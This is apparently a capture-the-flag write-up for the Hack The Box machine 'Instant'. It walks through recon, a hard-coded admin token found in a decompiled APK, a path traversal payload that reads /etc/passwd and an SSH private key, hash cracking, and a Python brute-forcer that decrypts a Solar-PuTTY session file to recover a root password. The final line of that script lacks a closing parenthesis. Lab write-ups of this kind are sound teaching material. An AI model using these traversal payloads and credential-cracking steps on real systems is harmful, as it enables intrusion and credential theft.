Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://instant.htb/
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
The nmap scan only found two ports and a redirect to instant.htb
on port 80. I’ll add this to my /etc/hosts
file and have a closer look.
HTTP
The webpage is about a service that lets users send funds anywhere. In order to do so it seems like one has to install an app and that can be downloaded right on the page. Clicking on the Download Now button returns an APK
, an android app.
Initial Access
Since I don’t want to load the APK
into an (emulated) android device as first step, I decide to have a peek into the contents with jadx. After loading the app, the contained dex
file(s) for the Dalvik VM
are converted to jar
and then decompiled to get readable Java code.
It includes all the imported libraries as well as the source code of the application in com/instantlabs.instant
. The code for the application is split between different Activities, that correspond to views in the app. One particular file looks promising: AdminActivities
.
The function TestAdminAuthorization
calls the endpoint http://mywalletv1.instant.htb/api/v1/view/profile
with a hard-coded Authorization
header. If that’s still valid, I might be able to poke around in the API with admin privileges.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA
Starting with android version 9, cleartext connections (http) are disabled by default and need to be explicitely enabled for each domain in res/xml/network_security_config.xml
1. In there I can find another domain, swagger-ui.instant.htb
, that I also add to my hosts
file.
One of the subdomains hints towards Swagger and in fact exposes an interactive web frontend to talk to the API. There I can set the previously found authentication token via Authorize and then call the different endpoints directly.
Calling the /api/v1/view/profile
endpoint returns the information for the admin user, so the token is still valid.
Skimming over the available endpoints, there are a few related to Users and Transactions, but there are also two endpoints to list and view logs. Logs are usually stored on disk so this opens up a few possibilities. Listing the available logs just returns a single file within /home/shirohige/logs/
called 1.log
.
{
"Files": [
"1.log"
],
"Path": "/home/shirohige/logs/",
"Status": 201
}
Trying to read the log by using 1.log
as log_file_name works and returns This is a sample log testing. Next I’ll try path traversal to read files outside of that directory and I’m successful with ../../../../etc/passwd
.
Considering the log file is stored within the home directory of user shirohige
, it might be safe to assume that the application is running in that context and I check for SSH keys next. I can read the id_rsa
file and use curl and jq to download the file and remove newlines.
curl -sS \
-X GET \
"http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=..%2F..%2F..%2F..%2Fhome%2Fshirohige%2F.ssh%2Fid_rsa" \
-H "accept: application/json" \
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" \
| jq -r 'to_entries[0].value | join("")' \
| tee -a ssh.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAmJvnp/m15/B7vlGYxgBuBne0ypqy4q8PjJW84SGSEK2MeuRh
lhYjEvh0FTXU2DNuvi9PzkkVtDcG4KYF5qANQwG1ruPPFlxFnI6RVqH9EzxKSVwO
KBnrEKDX+ANHf3OhPKmW4EV4irgPFJ1GSi7xulAYjjzXqASoHGQ2wZesiwGn+JZj
igf8HakzxFTgtD9Y15ZL+SkvCZXuRphdaXiYAmwSk55IEngGooAMvzH2FTLCPzDz
LgiZhOiXCq4coYXUakQ4mB8OYybwZgHDrXbmPMSQCcAJTOb4+ivyhSNshWvFfYOb
Tpb+9Tp7O3xE5u+OYs2joym8UAOx7sf2WxIYPwIDAQABAoIBAATzzsoVqe50HSws
gHCGXLZcBLjFyJ2bVb4CW/cGODxo6z6lCYpYXRhrvS9On5t0Y0wyGOwA/8Lgku9l
TommMJxASw1wgqh43zoa9vf+cuOV8mLNZUOL84HLM8b/d7ZH0ObsOqNvRSyFID/k
PcMjITGrADXMp7oEA97dEDcIsJeTYR3xoM6DtnsziAe2eJfZ/kx6zJTP3HuSJ0Cb
AJieAgOWqFPtuDnRvDdiXYAWeN8c2Am2UmdaWh9UoBnDP/oRfV5rT4pEn5o1FTuN
n/HU2srKN+78tMWW3P/8WKdQankknOcDrQWkB5HiGnDzZbC2HPaoYNdjstwVYWXb
hXlKVcECgYEAyq08VYwaPcTeD4OuANDIOfrrAWR5dsX1TJleal2l+SxbXfLlmqP6
rSFSqVOz9ogVZ6Nj9THX2JDMGOQHBPE9TLFvETEjQW1vzhmd3zbuwwU10P8hh5Y6
Q5E1mNu0rQS+FKQkrT9PLMl5o6pQruJSrW4r4lbIOUG9vrW57juwQUECgYEAwMJ9
NGzS3YVnw5HUX7gkPlBkwUC08MQnnsnpf2AztSIdYO2HMtl/7N8zb9PlmBEG3+qM
R24ibbgtVTbjfFYS20MXuUUTWkh74PgOQ960W921L44de4LSpIc1uX9iAaCKz1wY
h2K6Ku00N+CFmy5OAs+xcYdYeWZxnmWvldNKeX8CgYEAw4IW6GLs0Vb96rNYf5rm
+t8sITy92rAc71Ym+K37tABw5pCvodu6rZWuen6u5ArjswSvINCC6XrMFtqoVsEr
I7cpb8kZvDyIFKUrYC5KZb+56TCjNHrbG2CQ9jJB+IDRp3Grm5+tjYOQnitmBz11
Ca10EbMrE+hx0+zTPZdAb8ECgYBoZW02BXI2s1e9Xa+tn6dRcG0BFTBp7XKf1y70
439drHpI0pwUeCOGgGP1PsfsEdytTPRog0d2MPesXSvbXSqdQbsJhlWy4erlrrLb
IzR/RJYqiUeCaxn2LZx1OH4172L+ZxyJxniZYxqS4LC7mNp7P00U9X5/UXJbnSr5
dBOztQKBgQCSKbczU2nX62h3E9Dk70g36Q5K5DGC2CFDCznVBXoLjIEvqyg8c8JH
zYuyRb7x9zpI3OiAs+YjKQPH8kNVwzMYbuRDcRYmZuzl2TsJee+urNA6tjplyV0q
Q6fIyAdlABlB/Fwle4HFtu9iNPbo4hc8w74BIk2pE+MQtWXxl/7u6Q==
-----END RSA PRIVATE KEY-----
After fixing the permissions with chmod 600 ssh.key
I can login as shirohige
and collect the first flag.
Privilege Escalation
Within /opt/backups/Solar-PuTTY/
I find a file called sessions-backup.dat
. Based on the directory name it belongs to Solar-PuTTy and there seems to be a way to decrypt the session file with SolarPuttyDecrypt. The repository comes with a compiled version of the tool but even though it runs on Windows, it’s not able to decrypt the data due to a missing passphrase.
The source code of the application running on port 80 is available in /home/shirohige/projects/mywallet/Instant-Api/mywallet
and contains a database to hold the information. I transfer the SQLite3 database instant.db
in the subfolder instance
to my machine since the system is lacking the proper tools to examine the file. The database contains 3 tables with wallet_users
being the most interesting since it holds the password hashes for two users.
sqlite3 instant.db
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .tables
wallet_transactions wallet_users wallet_wallets
sqlite> select * from wallet_users ;
1|instantAdmin|admin@instant.htb|f0eca6e5-783a-471d-9d8f-0162cbc900db|pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978|2024-07-23 00:20:52.529887|87348|Admin|active
2|shirohige|shirohige@instant.htb|458715c9-b15e-467b-8a3d-97bc3fcf3c11|pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed|2024-08-08 20:57:47.909667|42845|instantian|active
Hashcat mode 10000 requires the salt and the password hash to be base64 encoded. Since they are currently stored as hex values, I’ll need to convert them first. A handy tools for this is CyberChef.
cat hash
pbkdf2_sha256$600000$I5bFyb0ZzD69pNX8$6eTqXCgOB2ZhIpWrm/8y5fod6PbLtlhvq3q3vHYr2Xg=
pbkdf2_sha256$600000$YnRgjnim$yVQajGrUC8Bkl5vERgJQQf+smvL3YnJpcdiignLFUO0=
hashcat -m 10000 \
hash \
/usr/share/wordlists/rockyou.txt
--- SNIP ---
pbkdf2_sha256$600000$YnRgjnim$yVQajGrUC8Bkl5vERgJQQf+smvL3YnJpcdiignLFUO0=:estrella
--- SNIP ---
About a minute passes and the cleartext password of shirohige is cracked: estrella
. Back on the Windows VM I’ll use the password to decrypt the sessions file with SolarPuttyDecrypt and find the password for the root user. Using su -
and providing 12**24nzC!r0c%q12
as password grants a new shell with enough privileges to read the final flag.
.\SolarPuttyDecrypt.exe .\sessions-backup.dat estrella
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------
{
"Sessions": [
{
"Id": "066894ee-635c-4578-86d0-d36d4838115b",
"Ip": "10.10.11.37",
"Port": 22,
"ConnectionType": 1,
"SessionName": "Instant",
"Authentication": 0,
"CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
"AuthenticateScript": "00000000-0000-0000-0000-000000000000",
"LastTimeOpen": "0001-01-01T00:00:00",
"OpenCounter": 1,
"SerialLine": null,
"Speed": 0,
"Color": "#FF176998",
"TelnetConnectionWaitSeconds": 1,
"LoggingEnabled": false,
"RemoteDirectory": ""
}
],
"Credentials": [
{
"Id": "452ed919-530e-419b-b721-da76cbe8ed04",
"CredentialsName": "instant-root",
"Username": "root",
"Password": "12**24nzC!r0c%q12",
"PrivateKeyPath": "",
"Passphrase": "",
"PrivateKeyContent": null
}
],
"AuthScript": [],
"Groups": [],
"Tunnels": [],
"LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}
-----------------------------------------------------
[+] DONE Decrypted file is saved in: C:\Users\user\Desktop\SolarPutty_sessions_decrypted.txt
Alternative way
3DES with a passphrase is used to encrypt the sessions file according to the code in the repository2. I could also bruteforce the password by going through rockyou.txt
and therefore I’ll port the code to Python. When I run the script it takes just a few seconds to find a valid passphrase to decode the encrypted data.
#!/usr/bin/env python3
import sys
import json
from base64 import b64decode
from Crypto.Cipher import DES3
from Crypto.Protocol.KDF import PBKDF2
def decrypt(password, salt, iv, data):
key = PBKDF2(password, salt, dkLen=24, count=1000)
cipher = DES3.new(key, DES3.MODE_CBC, iv)
decrypted_data = cipher.decrypt(data)
decrypted_data = decrypted_data[:-decrypted_data[-1]]
return decrypted_data.decode('utf-8')
def main(session_file, wordlist):
with open(session_file) as f:
session_content = f.read().strip()
decoded = b64decode(session_content)
salt = decoded[:24]
iv = decoded[24:32]
data = decoded[48:]
with open(wordlist) as f:
while word := f.readline().strip():
try:
plaintext = decrypt(word, salt, iv, data)
except:
continue
if plaintext:
print(f'Found passphrase: {word}')
print(json.dumps(json.loads(plaintext), sort_keys=True, indent=4))
break
if __name__ == '__main__':
if len(sys.argv) != 3:
print(f'Usage: {sys.argv[0]} "sessions.dat" "wordlist"')
sys.exit(1)
main(sys.argv[1], sys.argv[2]
Note
The original code uses a IV with length 24, but 3DES only uses 8 bytes. In csharp the rest of the IV is discarded silently in the background, but Python errors out instead.
Attack Path
flowchart TD subgraph "Initial access" A(APK) -->|Decompilation| B("Hardcoded Authorization Header\nAPI and Swagger Subdomain") B -->|Path Traversal in Log Retrieval| C(SSH-Key for shirohige) C -->|Valid Credentials| D(Shell as shirohige) end subgraph "Privilege Escalation" D -->|Enumeration| E(Solar-PuTTy session backup) E -->|Bruteforce 3DES| F(Password for root) E -->|Bruteforce PBKDF2-SHA256| F(Password for root) F -->|Valid Credentials| G(Shell as root) end